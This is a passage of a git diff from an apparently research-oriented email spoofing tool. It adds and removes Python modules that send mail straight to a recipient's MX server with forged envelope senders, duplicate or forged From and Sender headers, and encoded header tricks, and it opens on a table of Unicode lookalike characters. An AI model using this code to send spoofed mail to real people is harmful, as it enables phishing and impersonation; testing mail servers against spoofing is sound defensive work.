1D66E -𝚢 1D6A2 -𝛄 1D6C4 -𝛾 1D6FE -𝜸 1D738 -𝝲 1D772 -𝞬 1D7AC -y̔ 0079 -ƴ 01B4 -y̵ 0079 -у̵ 0443 -ү̵ 04AF -ɏ 024F -ұ 04B1 -z 007A -ᴢ 1D22 -𑣄 118C4 -ꮓ AB93 -𝐳 1D433 -𝑧 1D467 -𝒛 1D49B -𝓏 1D4CF -𝔃 1D503 -𝔷 1D537 -𝕫 1D56B -𝖟 1D59F -𝗓 1D5D3 -𝘇 1D607 -𝘻 1D63B -𝙯 1D66F -𝚣 1D6A3 -z̡ 007A -z̦ 007A -ȥ 0225 -z̢ 007A -z̨ 007A -ʐ 0290 -z̴ 007A -ᵶ 1D76 -z̵ 007A -ƶ 01B6 \ No newline at end of file diff --git a/core/MTA.py b/core/MTA.py deleted file mode 100755 index 1c4d675..0000000 --- a/core/MTA.py +++ /dev/null @@ -1,115 +0,0 @@ -# -*- coding: UTF-8 -*- -# the code to send forged emails as an MTA -import dns.resolver -from zio3 import * -from email import utils -from email.header import Header -import datetime -import time -from email import header, utils -from config import logger -from email.mime.text import MIMEText -from email.mime.multipart import MIMEMultipart - - -class Smtp: - def __init__(self, addr): - self.io = zio((addr, 25)) - self.io.readline() - - def cmd(self, msg): - self.cmdonly(msg) - return self.io.readline() - - def cmdonly(self, msg): - self.io.write(bytes((msg + '\r\n'), encoding="utf8")) - - def interact(self): - self.io.interact() - - -def get_email_domain(email): - at_pos = email.find("@") - if at_pos == -1: - logger.warn("from_email format is invalid") - return None - return email[at_pos + 1:] - - -def get_mx(domain): - try: - for x in dns.resolver.query(domain, 'MX'): - txt = x.to_text() - records = txt.split(" ") - return records[len(records) - 1] - except: - return None - - -def spoof(mail_from, to_email, subject, content, mime_from=None, mime_from1=None,mime_from2=None, sender=None, - helo=None,filename=None): - from_domain = get_email_domain(mail_from) - if from_domain is None: - logger.warn("Invalid FROM domain: " + mail_from) - - to_domain = get_email_domain(to_email) - if to_domain is None: - logger.warn("Invalid TO domain: " + to_email) - - mx_domain = get_mx(to_domain) - # print("mx_domain:",mx_domain) - if mx_domain is None: - logger.warn("Can't not resolve mx: " + to_domain) - - # start - smtp = Smtp(mx_domain) - - if not helo: - helo = from_domain - if helo: - smtp.cmd("HELO " + helo) - else: - smtp.cmd("HELO " + 'test1.com') - smtp.cmd("MAIL FROM: <{}>".format(mail_from)) - smtp.cmd("RCPT TO: <" + to_email + ">") - smtp.cmd("DATA") - nowdt = datetime.datetime.now() - nowtuple = nowdt.timetuple() - nowtimestamp = time.mktime(nowtuple) - t = utils.formatdate(nowtimestamp) - msg = MIMEMultipart() - smtp.cmdonly("Date: {}".format(t)) - if mime_from1: - smtp.cmdonly("From: {}".format(mime_from1)) - smtp.cmdonly("From: {}".format(mime_from)) - if mime_from2: - smtp.cmdonly("From: {}".format(mime_from2)) - if sender: - smtp.cmdonly("Sender: {}".format(sender)) - smtp.cmdonly("To: <{}>".format(to_email)) - subject = Header(subject, "UTF-8").encode() - smtp.cmdonly("Subject: {}".format(subject)) - - msg['Date'] = t - msg['From'] = mime_from - msg['To'] = to_email - msg['Subject'] = subject - smtp.cmdonly('Content-Type: text/plain; charset="utf-8"') - smtp.cmdonly("MIME-Version: 1.0") - _attach = MIMEText(content, 'utf-8') - msg.attach(_attach) - if filename: - att1 = MIMEText(open('./uploads/'+filename, 'rb').read(), 'base64', 'utf-8') - att1["Content-Type"] = 'application/octet-stream' - att1["Content-Disposition"] = 'attachment; filename="{}"'.format(filename) - # content = msg.as_string()+att1.as_string() - msg.attach(att1) - # else: - # content = msg.as_string() - content = msg.as_string() - # smtp.cmdonly("") - smtp.cmdonly(content) - smtp.cmd(".") - smtp.cmd("quit") - smtp.interact() - diff --git a/core/SMTP.py b/core/SMTP.py deleted file mode 100755 index d3f93e9..0000000 --- a/core/SMTP.py +++ /dev/null @@ -1,159 +0,0 @@ -# -*- coding: utf-8 -*- -from util import smtplib -from config import logger -from email.mime.multipart import MIMEMultipart -from email.mime.text import MIMEText -from email.header import Header -from email.mime.image import MIMEImage - - -class SendMailDealer: - def __init__(self, user, passwd, smtp, port, usetls=True, debug_level=0, filename=None): - self.mailUser = user - self.mailPassword = passwd - self.smtpServer = smtp - self.smtpPort = int(port) - if self.smtpPort not in [25]: - self.useSSL = True - self.mailServer = smtplib.SMTP_SSL(self.smtpServer, self.smtpPort) - else: - self.useSSL = False - self.mailServer = smtplib.SMTP(self.smtpServer, self.smtpPort) - self.mailServer.set_debuglevel(debug_level) - self.usetls = usetls - self.method = 'SMTP' - self.filename = filename - self.mail_init() - - def __del__(self): - try: - self.mailServer.close() - except Exception as e: - logger.warning(e) - logger.warning("mailServer None exist") - - def set_debug_level(self, level): - self.mailServer.set_debuglevel(level) - - def mail_init(self, ehlo=None): - self.mailServer.ehlo(ehlo) - if self.usetls and not self.useSSL: - try: - self.mailServer.starttls() - self.mailServer.ehlo(ehlo) - except Exception as e: - logger.error(e) - logger.error(u"The {} service don't support with STARTTLS method. ".format(self.smtpServer)) - self.mailServer.login(self.mailUser, self.mailPassword) - - def addTextPart(self, text, text_type): - self.msg.attach(MIMEText(text, text_type)) - - # add email message(MIMETEXT,MIMEIMAGE,MIMEBASE...) - def addPart(self, part): - self.msg.attach(part) - - def sendMail(self, to_email, info=None, subject=None, content=None, mail_from=None, mime_from=None, reply_to=None, - return_path=None, sender=None, ehlo=None, to=None, mime_from1=None, mime_from2=None, image=None, - defense=None, **headers): - """ - :param to_email: - :param info: - :param subject: - :param content: - :param mail_from: - :param mime_from: - :param reply_to: - :param return_path: - :param sender: - :param ehlo: - :param headers: - :return: - """ - self.msg = MIMEMultipart() - if not content: - content = '' - if ehlo is not None: - self.mailServer.ehlo(ehlo) - if to is not None: - self.msg['To'] = to - else: - self.msg['To'] = to_email - if not self.msg['To']: - logger.error(u"Please specify MIME TO") - return - if mail_from is None: - mail_from = self.mailUser - if mime_from is None: - mime_from = mail_from - # if mime_from != 'NULL': - # self.msg['From'] = mime_from - if mime_from1: - self.msg['From'] = mime_from1 - self.msg.add_header('From', mime_from) - elif mime_from2: - self.msg['From'] = mime_from - self.msg.add_header('From', mime_from2) - else: - self.msg['From'] = mime_from - # else: - # try: - # mime_from = headers['From'] - # except Exception as e: - # logger.error(e) - # mime_from = 'NULL' - for h in headers: - self.msg.add_header(str(h), str(headers[h])) - if info is None: - info = u"normal test" - if subject is None: - subject = "[{} {}] {} --> {}".format(self.method, info, mime_from, to_email) - self.msg['Subject'] = "{}".format(subject) - # 自定义头部 - if reply_to is not None: - self.msg['Reply'] = reply_to - if sender is not None: - self.msg['Sender'] = sender - # if content is None: - # content = "-" * 100 + "\r\n" - # content += """If you see this email, it means that you may be affected by email spoofing attacks.\n""" - # content += """This email uses '{}' to attack.""".format(info) - # content = """[{method} {info}] {mime_from} --> {to_email} \r\n""".format(method=self.method, - # mime_from=mime_from, - # to_email=to_email, info=info) - # if defense: - # content += '\r\n' + '-' * 100 + '\r\n' - # content += '''Defense measures: {defense}\n'''.format(defense=defense) - # content += "-" * 100 + "\r\n" - # content += """Email headers information:\r\nEnvelope.From: {mail_from}\nMIME.From: {mime_from}\nSender: {sender}\nReturn path: {return_path}""".format( - # mail_from=mail_from, sender=sender, return_path=return_path, mime_from=mime_from) - mime_headers = self.msg.as_string() - index = mime_headers.find("--=======") - mime_headers = mime_headers[:index].strip() - mime_headers = """MAIL From: {mail_from}\n""".format(mail_from=mail_from) + mime_headers - mime_headers = mime_headers.replace("\n", "\n\n") - mime_headers += "\r\n\r\n" + "-" * 100 + "\r\n" - content += mime_headers - # logger.debug(mime_headers) - - _attach = MIMEText(content) - # _attach = MIMEText(content, 'html', 'utf-8') - self.msg.attach(_attach) - if image: - fp = open("./uploads/" + image, 'rb') - images = MIMEImage(fp.read()) - fp.close() - images.add_header('Content-ID', '') - self.msg.attach(images) - if self.filename: - att1 = MIMEText(open('./uploads/' + self.filename, 'rb').read(), 'base64', 'utf-8') - att1["Content-Type"] = 'application/octet-stream' - att1["Content-Disposition"] = 'attachment; filename="{}"'.format(self.filename) - self.msg.attach(att1) - # logger.debug("-" * 50) - # logger.debug(self.msg.as_string()) - # logger.debug("-" * 50) - self.mailServer.sendmail(mail_from, to_email, self.msg.as_string()) - # logger.debug('Sent email to %s' % self.msg['To']) - - diff --git a/email/mime/__init__.py b/core/__init__.py old mode 100755 new mode 100644 similarity index 100% rename from email/mime/__init__.py rename to core/__init__.py diff --git a/core/sender.py b/core/sender.py new file mode 100644 index 0000000..c3a4642 --- /dev/null +++ b/core/sender.py @@ -0,0 +1,487 @@ +import smtplib +import smtplib +import time +from config import * +from core.util import * +from email import charset +from email.encoders import encode_base64 +from email.mime.base import MIMEBase +from email.mime.text import MIMEText +from email.mime.multipart import MIMEMultipart +from email.utils import make_msgid, formataddr, parseaddr, formatdate +from email.header import Header + +charset.add_charset('utf-8', charset.SHORTEST, None, 'utf-8') + + +def prepare_message(message, sender): + if message.mime_from is None: + if sender.mode == 'share': + message.mime_from = sender.username + else: + message.mime_from = DEFAULT_EMAIL + if message.mail_from is None: + if sender.mode == 'share': + message.mail_from = sender.username + else: + message.mail_from = DEFAULT_EMAIL + if message.mail_to is None: + message.mail_to = message.to_addrs() + assert message.mail_to is not None + if not (message.to or message.cc or message.bcc): + message.to = message.mail_to + return message + + +class AddressAttribute(object): + """Makes an address attribute forward to the addrs""" + + def __init__(self, name): + self.__name__ = name + + def __get__(self, obj, type=None): + if obj is None: + return self + return obj.addrs[self.__name__] + + def __set__(self, obj, value): + if value is None: + obj.addrs[self.__name__] = value + return + + if self.__name__ in ('mail_to', 'to', 'cc', 'bcc'): + if isinstance(value, string_types): + value = [value] + # if self.__name__ == 'mime_from': + # value = process_address(parse_fromaddr(value), obj.charset) + elif self.__name__ in ('to', 'cc', 'bcc'): + value = set(process_addresses(value, obj.charset)) + elif self.__name__ == 'reply_to': + value = process_address(value, obj.charset) + obj.addrs[self.__name__] = value + + +class Sender(object): + def __init__(self, mode='direct', username=None, password=None, host='localhost', port=25, use_tls=False, + use_ssl=False, debug_level=None): + self.mode = mode + self.host = host + self.port = port + self.username = username + self.password = password + self.use_tls = use_tls + self.use_ssl = use_ssl + self.debug_level = debug_level + + @property + def connection(self): + """Open one connection to the SMTP server. + """ + self.validate() + return Connection(self) + + def show_status(self): + status = """ +------------------------------------------------------------------ +Sender config: +Mode: {} +Host: {} +Port: {} +Username: {} +Password: {} +Use_tls: {} +Use_ssl: {} +Debug_level: {} +------------------------------------------------------------------ + """.format(self.mode,self.host,self.port,self.username, self.password,self.use_tls, self.use_ssl,self.debug_level) + logger.info(status) + return status + + def send(self, message_or_messages): + """Sends a single messsage or multiple messages. + + :param message_or_messages: one message instance or one iterable of + message instances. + """ + try: + messages = iter(message_or_messages) + except TypeError: + messages = [message_or_messages] + + with self.connection as c: + for message in messages: + message.validate() + c.send(message) + + def validate(self): + """Do Sender validation. + """ + if self.mode == 'share': + if self.username is None or self.password is None or self.host is None: + raise SenderError( + "Share mode: config lacks necessary parameters, username:{}, password:{}, host:{}".format( + self.username, self.password, self.host)) + elif self.mode == 'direct': + if self.host is None: + raise SenderError( + "Direct mode: config lacks necessary parameters, host:{}".format(self.host)) + else: + raise SenderError("Illegal mode! {}".format(self.mode)) + + +class Connection(object): + """This class handles connection to the SMTP server. Instance of this + class would be one context manager so that you do not have to manage + connection close manually. + + TODO: connection pool? + + :param mail: one mail instance + """ + + def __init__(self, mail): + self.mail = mail + + def __enter__(self): + if self.mail.mode == 'share': + target = self.mail.host + else: + target = query_mx_record(self.mail.host) + + if self.mail.use_ssl: + server = smtplib.SMTP_SSL(target, self.mail.port) + else: + server = smtplib.SMTP(target, self.mail.port) + # Set the debug output level + if self.mail.debug_level is not None: + server.set_debuglevel(int(self.mail.debug_level)) + + if self.mail.use_tls: + server.starttls() + + self.server = server + + return self + + def __exit__(self, exc_type, exc_value, exc_tb): + self.server.quit() + + def login(self): + if self.mail.username and self.mail.password: + self.server.login(self.mail.username, self.mail.password) + return self + + def send_helo(self, ehlo): + self.server.ehlo(ehlo) + return self + + def send(self, message): + """Send one message instance. + + :param message: one message instance. + """ + + if message.helo is not None: + self.send_helo(message.helo) + if self.mail.mode == 'share': + self.login() + self.server.sendmail(message.mail_from, message.mail_to, message.as_bytes(), + message.mail_options, message.rcpt_options) + + +class Message(object): + """One email message. + + :param subject: message subject + :param to: message recipient, should be one or a list of addresses + :param body: plain text content body + :param html: HTML content body + :param mime_from: message sender, can be one address or a two-element tuple + :param cc: CC list, should be one or a list of addresses + :param bcc: BCC list, should be one or a list of addresses + :param attachments: a list of attachment instances + :param reply_to: reply-to address + :param date: message send date, seconds since the Epoch, + default to be time.time() + :param charset: message charset, default to be 'utf-8' + :param extra_headers: a dictionary of extra headers + :param mail_options: a list of ESMTP options used in MAIL FROM commands + :param rcpt_options: a list of ESMTP options used in RCPT commands + """ + to = AddressAttribute('to') + mime_from = AddressAttribute('mime_from') + cc = AddressAttribute('cc') + bcc = AddressAttribute('bcc') + reply_to = AddressAttribute('reply_to') + mail_to = AddressAttribute('mail_to') + + def __init__(self, subject=None, to=None, body=None, html=None, + mime_from=None, cc=None, bcc=None, attachments=None, + reply_to=None, date=None, charset='utf-8', + extra_headers=None, mail_options=None, rcpt_options=None, mail_to=None, mail_from=None, helo=None, + autoencode=None, defense=None, description=None): + self.subject = subject + self.body = body + self.html = html + self.attachments = attachments or [] + self.date = date + self.charset = charset + self.extra_headers = extra_headers + self.mail_options = mail_options or [] + self.rcpt_options = rcpt_options or [] + # used for actual addresses store + self.addrs = dict() + # set address + self.to = to or [] + self.mime_from = mime_from + self.cc = cc or [] + self.bcc = bcc or [] + self.reply_to = reply_to + # email Envelope + self.mail_from = mail_from + self.mail_to = mail_to or [] + self.helo = helo + # make message_id + self.message_id = make_msgid(domain=self.msg_domain()) + + # autoencode unicode + self.autoencode = True if autoencode is None else autoencode + + # TODO + self.defense = defense + self.description = description + + def msg_domain(self): + if self.helo and '@' in self.helo: + domain = self.helo.split('@')[1] + elif self.mail_from and '@' in self.mail_from: + domain = self.mail_from.split('@')[1] + elif self.mime_from and '@' in self.mime_from: + domain = self.mime_from.split('@')[1] + else: + domain = 'default-MacBook-Pro.local' + return domain + + @property + def to_addrs(self): + return self.to | self.cc | self.bcc + + def validate(self): + """Do email message validation. + """ + if not (self.mail_to or self.to or self.cc or self.bcc): + raise SenderError("does not specify any recipients(mail_to, to,cc,bcc)") + # if not self.fromaddr: + # raise SenderError("does not specify fromaddr(sender)") + for c in '\r\n': + if self.subject and (c in self.subject): + raise SenderError('newline is not allowed in subject') + + def show_status(self): + status = """ +------------------------------------------------------------------ +Envelope: +Helo: {} +Mail From: {} +Mail To: {} + +Email Content: +{} +------------------------------------------------------------------ + """.format(self.helo,self.mail_from,self.mail_to, self.as_string()) + logger.info(status) + return status + + def as_string(self): + """The message string. + """ + if self.date is None: + self.date = time.time() + + if not self.html: + if len(self.attachments) == 0: + # plain text + msg = MIMEText(self.body, 'plain', self.charset) + elif len(self.attachments) > 0: + # plain text with attachments + msg = MIMEMultipart() + msg.attach(MIMEText(self.body, 'plain', self.charset)) + else: + msg = MIMEMultipart() + alternative = MIMEMultipart('alternative') + alternative.attach(MIMEText(self.body, 'plain', self.charset)) + alternative.attach(MIMEText(self.html, 'html', self.charset)) + msg.attach(alternative) + + msg['Subject'] = Header(self.subject, self.charset) + msg['From'] = self.mime_from + if self.extra_headers: + for key, value in self.extra_headers.items(): + # msg[key] = value + msg.add_header(key, value) + msg['To'] = ', '.join(self.to) + msg['Date'] = formatdate(self.date, localtime=True) + msg['Message-ID'] = self.message_id + if self.cc: + msg['Cc'] = ', '.join(self.cc) + if self.reply_to: + msg['Reply-To'] = self.reply_to + for attachment in self.attachments: + f = MIMEBase(*attachment.content_type.split('/')) + f.set_payload(attachment.data) + encode_base64(f) + if attachment.filename is None: + filename = str(None) + else: + filename = force_text(attachment.filename, self.charset) + try: + filename.encode('ascii') + except UnicodeEncodeError: + filename = ('UTF8', '', filename) + f.add_header('Content-Disposition', attachment.disposition, + filename=filename) + for key, value in attachment.headers.items(): + f.add_header(key, value) + msg.attach(f) + + # TODO: fix mime_from auto encoding + s = msg.as_string() + if not self.autoencode: + headers = s.split('\n') + for h in headers: + if h.startswith('From:'): + s = s.replace(h, "From: {}".format(self.mime_from)) + + # # fix run fuzz_test + # for k, v in iteritems(self.run_fuzz): + # print(k, v) + return s + + def as_bytes(self): + return self.as_string().encode(self.charset or 'utf-8') + + def __str__(self): + return self.as_string() + + def attach(self, attachment_or_attachments): + """Adds one or a list of attachments to the message. + + :param attachment_or_attachments: one or an iterable of attachments + """ + try: + attachments = iter(attachment_or_attachments) + except TypeError: + attachments = [attachment_or_attachments] + self.attachments.extend(attachments) + + def attach_attachment(self, *args, **kwargs): + """Shortcut for attach. + """ + self.attach(Attachment(*args, **kwargs)) + + +class Attachment(object): + """File attachment information. + + :param filename: filename + :param content_type: file mimetype + :param data: raw data + :param disposition: content-disposition, default to be 'attachment' + :param headers: a dictionary of headers, default to be {} + """ + + def __init__(self, filename=None, content_type=None, data=None, + disposition='attachment', headers={}): + self.filename = filename + self.content_type = content_type + self.data = data + self.disposition = disposition + self.headers = headers + + +class SenderError(Exception): + pass + + +def force_text(s, encoding='utf-8', errors='strict'): + """Returns a unicode object representing 's'. Treats bytestrings using + the 'encoding' codec. + + :param s: one string + :param encoding: the input encoding + :param errors: values that are accepted by Python’s unicode() function + for its error handling + """ + if isinstance(s, text_type): + return s + + try: + if not isinstance(s, string_types): + if isinstance(s, bytes): + s = text_type(s, encoding, errors) + else: + s = text_type(s) + else: + s = s.decode(encoding, errors) + except UnicodeDecodeError as e: + if not isinstance(s, Exception): + raise SenderUnicodeDecodeError(s, *e.args) + else: + s = ' '.join([force_text(arg, encoding, errors) for arg in s]) + return s + + +class SenderUnicodeDecodeError(UnicodeDecodeError): + def __init__(self, obj, *args): + self.obj = obj + UnicodeDecodeError.__init__(self, *args) + + def __str__(self): + original = UnicodeDecodeError.__str__(self) + return '%s. You passed in %r (%s)' % (original, self.obj, + type(self.obj)) + + +def parse_fromaddr(fromaddr): + """Generate an RFC 822 from-address string. + + Simple usage:: + + >>> parse_fromaddr('from@example.com') + 'from@example.com' + >>> parse_fromaddr(('from', 'from@example.com')) + 'from ' + + :param fromaddr: string or tuple + """ + if isinstance(fromaddr, tuple): + fromaddr = "%s <%s>" % fromaddr + return fromaddr + + +def process_address(address, encoding='utf-8'): + """Process one email address. + + :param address: email from-address string + """ + name, addr = parseaddr(force_text(address, encoding)) + + try: + name = Header(name, encoding).encode() + except UnicodeEncodeError: + name = Header(name, 'utf-8').encode() + try: + addr.encode('ascii') + except UnicodeEncodeError: + if '@' in addr: + localpart, domain = addr.split('@', 1) + localpart = str(Header(localpart, encoding)) + domain = domain.encode('idna').decode('ascii') + addr = '@'.join([localpart, domain]) + else: + addr = Header(addr, encoding).encode() + return formataddr((name, addr)) + + +def process_addresses(addresses, encoding='utf-8'): + return map(lambda e: process_address(e, encoding), addresses) diff --git a/core/util.py b/core/util.py new file mode 100644 index 0000000..8e59dc0 --- /dev/null +++ b/core/util.py @@ -0,0 +1,150 @@ +import dns.resolver +import traceback +import logging +import coloredlogs +import yaml +import re +import base64 +import quopri + +# run in Python3 +text_type = str +string_types = (str,) +integer_types = (int,) + +iterkeys = lambda d: iter(d.keys()) +itervalues = lambda d: iter(d.values()) +iteritems = lambda d: iter(d.items()) + + +def banner(): + my_banner = ("""%s + o__ __o o__ __o o + /v v\ /v v\ _<|>_ + /> <\ /> <\ + _\o____ \o_ __o o__ __o o__ __o \o o \o__ __o o__ __o/ + \_\__o__ | v\ /v v\ /v v\ |>_ <|> | |> /v | + \ / \ <\ /> <\ /> <\ | / \ / \ / \ /> / \ + \ / \o/ / \ / \ / \o/ \o/ \o/ \ \o/ + o o | o o o o o | | | | o | + <\__ __/> / \ __/> <\__ __/> <\__ __/> / \ / \ / \ / \ <\__ < > + \o/ | + | o__ o + / \ <\__ __/> \ + %s%s + # Version: 2.0%s + """ % ('\033[91m', '\033[0m', '\033[93m', '\033[0m')) + print(my_banner) + + +def read_data(path): + with open(path, 'rb') as f: + data = f.read() + return data + + +def read_config(config_path): + data = read_data(config_path).decode() + y = yaml.safe_load(data) + # template_render replace {{ xxx }} => $xxx + pattern = re.compile(r'\{\{ [^{}]+ \}\}', re.S) + keys = pattern.findall(data) + for k in keys: + t = k[3:-3] + if '(' in t: + value = t.split('(')[1].split(')')[0] + function = t.split('(')[0] + tmp = func_dict.get(function, functin_call_error)(value) + data = data.replace(k, tmp) + else: + data = data.replace(k, y['global_parameters'][t]) + config = yaml.safe_load(data) + attack = config['attack'] + tp = config['global_parameters'] + + # Complement the default value in attack + for i in iterkeys(attack): + for k in iterkeys(tp): + if k not in attack[i] or attack[i][k] is None: + attack[i][k] = tp[k] + return config + + +def init_log(filename): + """ + :param filename + :return logger + """ + FIELD_STYLES = dict( + asctime=dict(color='green'), + hostname=dict(color='magenta'), + levelname=dict(color='green'), + filename=dict(color='magenta'), + name=dict(color='blue'), + threadName=dict(color='green') + ) + LEVEL_STYLES = dict( + debug=dict(color='green'), + info=dict(color='cyan'), + warning=dict(color='yellow'), + error=dict(color='red'), + critical=dict(color='red') + ) + # formattler = '%(asctime)s %(pathname)-8s:%(lineno)d %(levelname)-8s %(message)s' + # formattler = '%(levelname)-8s %(message)s' + formattler = '[%(levelname)-8s] [%(asctime)s] [%(filename)-8s:%(lineno)-3d] %(message)s' + fmt = logging.Formatter(formattler) + logger = logging.getLogger() + coloredlogs.install( + level=logging.DEBUG, + fmt=formattler, + level_styles=LEVEL_STYLES, + field_styles=FIELD_STYLES) + file_handler = logging.FileHandler(filename) + file_handler.setLevel(logging.DEBUG) + file_handler.setFormatter(fmt) + logger.addHandler(file_handler) + try: + logging.getLogger("requests").setLevel(logging.WARNING) + except Exception as e: + pass + return logger + + +def query_mx_record(domain): + try: + mx_answers = dns.resolver.query(domain, 'MX') + for rdata in mx_answers: + a_answers = dns.resolver.query(rdata.exchange, 'A') + for data in a_answers: + return str(data) + except Exception as e: + traceback.print_exc() + + +def get_email_domain(email): + at_pos = email.find("@") + if at_pos == -1: + raise ("from_email format is invalid!") + return email[at_pos + 1:] + + +def get_mail_server_from_email_address(email): + return query_mx_record(get_email_domain(email)) + + +def base64encoding(value): + tmp = b"=?utf-8?B?" + base64.b64encode(value.encode()) + b"?=" + return tmp.decode() + + +def quoted_printable(value): + tmp = b"=?utf-8?Q?" + quopri.encodestring(value.encode()) + b"?=" + return tmp.decode() + + +def functin_call_error(): + raise ("cannot find func") + + +func_dict = {"b64": base64encoding, "qp": quoted_printable} diff --git a/email/__init__.py b/email/__init__.py deleted file mode 100755 index fae8724..0000000 --- a/email/__init__.py +++ /dev/null @@ -1,62 +0,0 @@ -# Copyright (C) 2001-2007 Python Software Foundation -# Author: Barry Warsaw -# Contact: email-sig@python.org - -"""A package for parsing, handling, and generating email messages.""" - -__all__ = [ - 'base64mime', - 'charset', - 'encoders', - 'errors', - 'feedparser', - 'generator', - 'header', - 'iterators', - 'message', - 'message_from_file', - 'message_from_binary_file', - 'message_from_string', - 'message_from_bytes', - 'mime', - 'parser', - 'quoprimime', - 'utils', - ] - - - -# Some convenience routines. Don't import Parser and Message as side-effects -# of importing email since those cascadingly import most of the rest of the -# email package. -def message_from_string(s, *args, **kws): - """Parse a string into a Message object model. - - Optional _class and strict are passed to the Parser constructor. - """ - from email.parser import Parser - return Parser(*args, **kws).parsestr(s) - -def message_from_bytes(s, *args, **kws): - """Parse a bytes string into a Message object model. - - Optional _class and strict are passed to the Parser constructor. - """ - from email.parser import BytesParser - return BytesParser(*args, **kws).parsebytes(s) - -def message_from_file(fp, *args, **kws): - """Read a file and parse its contents into a Message object model. - - Optional _class and strict are passed to the Parser constructor. - """ - from email.parser import Parser - return Parser(*args, **kws).parse(fp) - -def message_from_binary_file(fp, *args, **kws): - """Read a binary file and parse its contents into a Message object model. - - Optional _class and strict are passed to the Parser constructor. - """ - from email.parser import BytesParser - return BytesParser(*args, **kws).parse(fp) diff --git a/email/_encoded_words.py b/email/_encoded_words.py deleted file mode 100755 index 5eaab36..0000000 --- a/email/_encoded_words.py +++ /dev/null @@ -1,221 +0,0 @@ -""" Routines for manipulating RFC2047 encoded words. - -This is currently a package-private API, but will be considered for promotion -to a public API if there is demand. - -""" - -# An ecoded word looks like this: -# -# =?charset[*lang]?cte?encoded_string?= -# -# for more information about charset see the charset module. Here it is one -# of the preferred MIME charset names (hopefully; you never know when parsing). -# cte (Content Transfer Encoding) is either 'q' or 'b' (ignoring case). In -# theory other letters could be used for other encodings, but in practice this -# (almost?) never happens. There could be a public API for adding entries -# to the CTE tables, but YAGNI for now. 'q' is Quoted Printable, 'b' is -# Base64. The meaning of encoded_string should be obvious. 'lang' is optional -# as indicated by the brackets (they are not part of the syntax) but is almost -# never encountered in practice. -# -# The general interface for a CTE decoder is that it takes the encoded_string -# as its argument, and returns a tuple (cte_decoded_string, defects). The -# cte_decoded_string is the original binary that was encoded using the -# specified cte. 'defects' is a list of MessageDefect instances indicating any -# problems encountered during conversion. 'charset' and 'lang' are the -# corresponding strings extracted from the EW, case preserved. -# -# The general interface for a CTE encoder is that it takes a binary sequence -# as input and returns the cte_encoded_string, which is an ascii-only string. -# -# Each decoder must also supply a length function that takes the binary -# sequence as its argument and returns the length of the resulting encoded -# string. -# -# The main API functions for the module are decode, which calls the decoder -# referenced by the cte specifier, and encode, which adds the appropriate -# RFC 2047 "chrome" to the encoded string, and can optionally automatically -# select the shortest possible encoding. See their docstrings below for -# details. - -import re -import base64 -import binascii -import functools -from string import ascii_letters, digits -from email import errors - -__all__ = ['decode_q', - 'encode_q', - 'decode_b', - 'encode_b', - 'len_q', - 'len_b', - 'decode', - 'encode', - ] - -# -# Quoted Printable -# - -# regex based decoder. -_q_byte_subber = functools.partial(re.compile(br'=([a-fA-F0-9]{2})').sub, - lambda m: bytes([int(m.group(1), 16)])) - -def decode_q(encoded): - encoded = encoded.replace(b'_', b' ') - return _q_byte_subber(encoded), [] - - -# dict mapping bytes to their encoded form -class _QByteMap(dict): - - safe = b'-!*+/' + ascii_letters.encode('ascii') + digits.encode('ascii') - - def __missing__(self, key): - if key in self.safe: - self[key] = chr(key) - else: - self[key] = "={:02X}".format(key) - return self[key] - -_q_byte_map = _QByteMap() - -# In headers spaces are mapped to '_'. -_q_byte_map[ord(' ')] = '_' - -def encode_q(bstring): - return ''.join(_q_byte_map[x] for x in bstring) - -def len_q(bstring): - return sum(len(_q_byte_map[x]) for x in bstring) - - -# -# Base64 -# - -def decode_b(encoded): - defects = [] - pad_err = len(encoded) % 4 - if pad_err: - defects.append(errors.InvalidBase64PaddingDefect()) - padded_encoded = encoded + b'==='[:4-pad_err] - else: - padded_encoded = encoded - try: - return base64.b64decode(padded_encoded, validate=True), defects - except binascii.Error: - # Since we had correct padding, this must an invalid char error. - defects = [errors.InvalidBase64CharactersDefect()] - # The non-alphabet characters are ignored as far as padding - # goes, but we don't know how many there are. So we'll just - # try various padding lengths until something works. - for i in 0, 1, 2, 3: - try: - return base64.b64decode(encoded+b'='*i, validate=False), defects - except binascii.Error: - if i==0: - defects.append(errors.InvalidBase64PaddingDefect()) - else: - # This should never happen. - raise AssertionError("unexpected binascii.Error") - -def encode_b(bstring): - return base64.b64encode(bstring).decode('ascii') - -def len_b(bstring): - groups_of_3, leftover = divmod(len(bstring), 3) - # 4 bytes out for each 3 bytes (or nonzero fraction thereof) in. - return groups_of_3 * 4 + (4 if leftover else 0) - - -_cte_decoders = { - 'q': decode_q, - 'b': decode_b, - } - -def decode(ew): - """Decode encoded word and return (string, charset, lang, defects) tuple. - - An RFC 2047/2243 encoded word has the form: - - =?charset*lang?cte?encoded_string?= - - where '*lang' may be omitted but the other parts may not be. - - This function expects exactly such a string (that is, it does not check the - syntax and may raise errors if the string is not well formed), and returns - the encoded_string decoded first from its Content Transfer Encoding and - then from the resulting bytes into unicode using the specified charset. If - the cte-decoded string does not successfully decode using the specified - character set, a defect is added to the defects list and the unknown octets - are replaced by the unicode 'unknown' character \\uFDFF. - - The specified charset and language are returned. The default for language, - which is rarely if ever encountered, is the empty string. - - """ - _, charset, cte, cte_string, _ = ew.split('?') - charset, _, lang = charset.partition('*') - cte = cte.lower() - # Recover the original bytes and do CTE decoding. - bstring = cte_string.encode('ascii', 'surrogateescape') - bstring, defects = _cte_decoders[cte](bstring) - # Turn the CTE decoded bytes into unicode. - try: - string = bstring.decode(charset) - except UnicodeError: - defects.append(errors.UndecodableBytesDefect("Encoded word " - "contains bytes not decodable using {} charset".format(charset))) - string = bstring.decode(charset, 'surrogateescape') - except LookupError: - string = bstring.decode('ascii', 'surrogateescape') - if charset.lower() != 'unknown-8bit': - defects.append(errors.CharsetError("Unknown charset {} " - "in encoded word; decoded as unknown bytes".format(charset))) - return string, charset, lang, defects - - -_cte_encoders = { - 'q': encode_q, - 'b': encode_b, - } - -_cte_encode_length = { - 'q': len_q, - 'b': len_b, - } - -def encode(string, charset='utf-8', encoding=None, lang=''): - """Encode string using the CTE encoding that produces the shorter result. - - Produces an RFC 2047/2243 encoded word of the form: - - =?charset*lang?cte?encoded_string?= - - where '*lang' is omitted unless the 'lang' parameter is given a value. - Optional argument charset (defaults to utf-8) specifies the charset to use - to encode the string to binary before CTE encoding it. Optional argument - 'encoding' is the cte specifier for the encoding that should be used ('q' - or 'b'); if it is None (the default) the encoding which produces the - shortest encoded sequence is used, except that 'q' is preferred if it is up - to five characters longer. Optional argument 'lang' (default '') gives the - RFC 2243 language string to specify in the encoded word. - - """ - if charset == 